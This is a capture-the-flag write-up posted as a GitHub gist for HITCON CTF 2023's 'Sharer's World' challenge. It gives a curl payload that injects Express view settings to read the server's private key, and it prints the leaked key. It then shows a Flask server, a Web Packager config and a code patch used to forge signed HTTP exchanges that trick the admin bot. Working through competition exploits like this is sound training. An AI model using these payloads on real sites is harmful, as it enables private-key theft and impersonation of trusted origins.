Skip to content

Instantly share code, notes, and snippets.

@betrisey
Created September 10, 2023 15:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02 to your computer and use it in GitHub Desktop.
Save betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02 to your computer and use it in GitHub Desktop.
Sharer's World - HITCON CTF 2023

Sharer World

SXG

Extension=( 1.3.6.1.4.1.11129.2.1.22 )
====Critical=NO
====Data=05 00

The certificate used by the challenge has an extra extension allowing SXG

Leaking the private key

curl -X "POST" "https://sharer.world/report" \
     -H 'Content-Type: application/x-www-form-urlencoded; charset=utf-8' \
     --data-urlencode "settings[views]=/opt/certificates" \
     --data-urlencode "settings[view engine]=." \
     --data-urlencode "settings[layout]=privkey.pem/dummy/"
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgvHt3r9iQY3FLPPoY
/ORYMXYi2c0CKRLPB5m+G48EkZGhRANCAAT15yZTXMClrfDIsxy01ZneE73MM0PL
JAQLXS53gYuLKWAy2pO93QF3bcRsM+N7vtPdDn3hudSFG/a9TgzdwNzF
-----END PRIVATE KEY-----

Create a signed response for https://admin-bot.sharer.world/flag

We use Web Packager Server to create signed HTTP exchange (SXG) using the private key. The server acts as a reverse proxy, it will fetch the "real" page on https://admin-bot.sharer.world/flag and sign it so we change our hosts file:

127.0.0.1 admin-bot.sharer.world sharer.world

and create a HTTPS server that will server our fake /flag page, still using the leaked certificate

from flask import Flask
app = Flask(__name__)

@app.route("/flag")
def flag():
    return open("flag.html").read()

if __name__ == "__main__":
    app.run(ssl_context=('fullchain.pem', 'privkey.pem'), debug=True, port=443)

Config of Web Packager Server:

[Listen]
  Host = '0.0.0.0'
  Port = 1337

[SXG]
  # https://sam.ninja is my reverse proxy, it forwards the request to localhost:1337 (this webpkgserver)
  CertURLBase = 'https://sam.ninja/webpkg/cert'

[SXG.Cert]
  PEMFile = './fullchain.pem'
  KeyFile = './privkey.pem'
  CacheDir = '/tmp/webpkg'

[[Sign]]
  Domain = 'admin-bot.sharer.world'

[Cache]
  MaxEntries = 0

We get the signed HTTP exchange:

curl 'http://127.0.0.1:1337/priv/doc/https://admin-bot.sharer.world/flag' -H 'Accept: application/signed-exchange;v=b3' --output flag.sxg

We can then upload flag.sxg to the challenge and setting the MIME type to application/signed-exchange;v=b3

It will be available at https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx

We cannot directly make the bot visit this file because it would load https://sharer.world/preview/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx while loads the file in a sandboxed iframe

The bot can be triggered with a GET request: https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token

Chrome makes a GET request to the URL of the certificate specified in the SXG file so we can patch webpkgserver to use the full URL that we control:

// https://github.com/google/webpackager/blob/53a1486f4205374a111a683a64aa5eedbacbbc7c/server/exchange.go#L100
// certURL = e.CertURLBase.ResolveReference(&url.URL{Path: urlPath})
certURL = e.CertURLBase

And update its config:

[SXG]
  CertURLBase = 'https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token'

[[Sign]]
  Domain = 'sharer.world'

Again we request the signed exchange:

curl 'http://127.0.0.1:1337/priv/doc/https://sharer.world/' -H 'Accept: application/signed-exchange;v=b3' --output trigger-bot.sxg

We upload it to the challenge and report it. The bot will trigger another report and then visit our first page (https://admin-bot.sharer.world/flag)

hitcon{ok so the flag isn't even on that app wtf}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment